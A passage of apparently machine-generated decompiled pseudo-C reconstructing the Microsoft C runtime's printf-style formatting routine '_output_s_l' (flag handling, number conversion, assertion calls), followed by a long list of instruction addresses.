																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xd44114aa
																						E00424760(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E00428440(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
																		__eax = E00433FB0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E420();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																			__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEC0(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428400(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E420();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422F10(_t543))) = 0x16;
															E00422CA0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041AEC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BD60(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E420();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041AEC0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422F10(_t530))) = 0x16;
														E00422CA0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041AEC0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430830( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E004308B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00435057
0x00435057
0x00435057
0x00435057
0x00435057
0x00435057
0x00435057
0x00435061
0x00435061
0x00435061
0x0043506b
0x0043506b
0x00435071
0x00435073
0x0043507d
0x0043507d
0x00435080
0x00435083
0x00435083
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00435188
0x00435188
0x0043518f
0x00000000
0x00000000
0x00435191
0x00435191
0x0043519c
0x004351a2
0x004351a4
0x004351aa
0x004351ad
0x004351af
0x004351b5
0x004351be
0x004351c3
0x004351e0
0x004351e3
0x004351e3
0x004351e8
0x004351ed
0x004351ed
0x004351f3
0x004351f5
0x004351fb
0x00435201
0x00435201
0x0043520a
0x0043520a
0x004351f3
0x00435210
0x00435214
0x00435222
0x00435225
0x00435228
0x0043522f
0x00435231
0x00435231
0x00435216
0x00435216
0x00435216
0x0043523e
0x0043523e
0x00435244
0x00435246
0x00435246
0x0043524d
0x00435250
0x00435253
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00435263
0x00435269
0x00435269
0x0043526f
0x004352ec
0x004352ef
0x004352f2
0x004352f5
0x004352f8
0x004352fb
0x00435301
0x00435301
0x00435307
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x0043533c
0x0043533f
0x0043533f
0x00435342
0x00435347
0x00435347
0x0043534c
0x0043535e
0x0043535e
0x00435361
0x00435373
0x00435373
0x00435376
0x00435378
0x0043537c
0x0043537c
0x00435363
0x00435363
0x00435367
0x00435367
0x0043534e
0x0043534e
0x00435352
0x00435352
0x0043534c
0x00435386
0x00435389
0x0043538c
0x00435395
0x00435395
0x00435398
0x0043539a
0x004353a1
0x004353a5
0x004353ae
0x004353b3
0x004353b6
0x004353bd
0x004353c1
0x004353c5
0x004353d1
0x004353d4
0x004353d4
0x004353d7
0x004353dc
0x004353dc
0x004353df
0x004353e1
0x004353e8
0x004353ec
0x004353f5
0x004353fa
0x004353df
0x004353fd
0x00435401
0x004354d5
0x004354d5
0x004354dc
0x004354e0
0x004354e4
0x004354e8
0x00000000
0x00435407
0x00435407
0x00435407
0x0043540b
0x00000000
0x00000000
0x00435411
0x00435411
0x0043541b
0x0043541e
0x00435424
0x00435427
0x0043542d
0x0043542d
0x0043542d
0x00435439
0x0043543c
0x00435442
0x00435444
0x00000000
0x00000000
0x0043544a
0x0043544a
0x00435453
0x0043545a
0x00435464
0x0043546b
0x0043547a
0x00435486
0x00435489
0x0043548f
0x00435496
0x004354a1
0x004354a1
0x00000000
0x004354a1
0x00435498
0x00435498
0x0043549f
0x004354ad
0x004354ad
0x004354b4
0x004354b8
0x004354c6
0x00000000
0x004354cb
0x00000000
0x0043549f
0x004354d3
0x004354f0
0x004354f0
0x004354f7
0x004354fc
0x004354fc
0x004354ff
0x00435501
0x00435508
0x0043550c
0x00435515
0x0043551a
0x004354ff
0x004354f7
0x0043551d
0x0043551d
0x00435521
0x00435529
0x00435531
0x00435531
0x00435538
0x00435538
0x0043460f
0x00434615
0x00434622
0x00434627
0x00000000
0x0043463a
0x00434644
0x0043466b
0x00434652
0x00434663
0x00434663
0x00434644
0x00434675
0x0043467b
0x00434687
0x0043468a
0x00434698
0x0043469b
0x004346a8
0x0043474d
0x00434753
0x00434759
0x00434760
0x00000000
0x00000000
0x00434766
0x0043476c
0x00000000
0x00434773
0x00434773
0x0043478b
0x00434790
0x00434793
0x00434795
0x0043484f
0x00434862
0x00434867
0x00000000
0x0043479b
0x004347ae
0x004347b3
0x004347b9
0x004347bb
0x004347c4
0x004347c4
0x004347c7
0x004347d3
0x004347d7
0x004347dd
0x004347df
0x004347e4
0x004347e6
0x004347eb
0x004347f0
0x004347f2
0x004347f7
0x004347fa
0x004347fd
0x004347ff
0x004347ff
0x004347fd
0x00434800
0x00434800
0x00434807
0x00000000
0x00434809
0x0043480e
0x0043482a
0x00434832
0x0043483f
0x00434844
0x00000000
0x00434844
0x00434807
0x00000000
0x0043486f
0x0043486f
0x00434876
0x00434879
0x0043487c
0x0043487f
0x00434882
0x00434885
0x00434888
0x0043488f
0x00434896
0x00000000
0x00000000
0x004348a2
0x004348a2
0x004348a9
0x004348b5
0x004348b8
0x004348be
0x004348c5
0x00000000
0x00000000
0x004348c7
0x004348c7
0x004348cd
0x004348cd
0x004348d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434917
0x00434917
0x0043491e
0x00434921
0x0043494b
0x0043494e
0x0043494e
0x00434951
0x00434958
0x00434958
0x0043495c
0x00434923
0x00434923
0x0043492f
0x00434932
0x00434936
0x00434938
0x0043493b
0x0043493b
0x0043493e
0x00434944
0x00434946
0x00434946
0x00434949
0x00000000
0x00000000
0x00434964
0x00434964
0x00000000
0x00000000
0x00434970
0x00434970
0x00434977
0x0043497a
0x0043499a
0x0043499d
0x0043499d
0x004349a7
0x004349a7
0x004349ab
0x0043497c
0x0043497c
0x00434988
0x0043498b
0x0043498f
0x00434991
0x00434991
0x00434998
0x00000000
0x00000000
0x004349b3
0x004349b3
0x004349ba
0x004349c6
0x004349c9
0x004349cf
0x004349d6
0x00434ae9
0x00000000
0x00434ae9
0x004349dc
0x004349dc
0x004349e2
0x004349e2
0x004349e9
0x00000000
0x00434a1f
0x00434a1f
0x00434a22
0x00434a25
0x00434a28
0x00434a50
0x00434a50
0x00434a53
0x00434a56
0x00434a59
0x00434a7e
0x00434a7e
0x00434a81
0x00434a84
0x00434a87
0x00434ac0
0x00434ad1
0x00000000
0x00434ad1
0x00434a89
0x00434a89
0x00434a8c
0x00434a8f
0x00434a92
0x00000000
0x00000000
0x00434a94
0x00434a94
0x00434a97
0x00434a9a
0x00434a9d
0x00000000
0x00000000
0x00434a9f
0x00434a9f
0x00434aa2
0x00434aa5
0x00434aa8
0x00000000
0x00000000
0x00434aaa
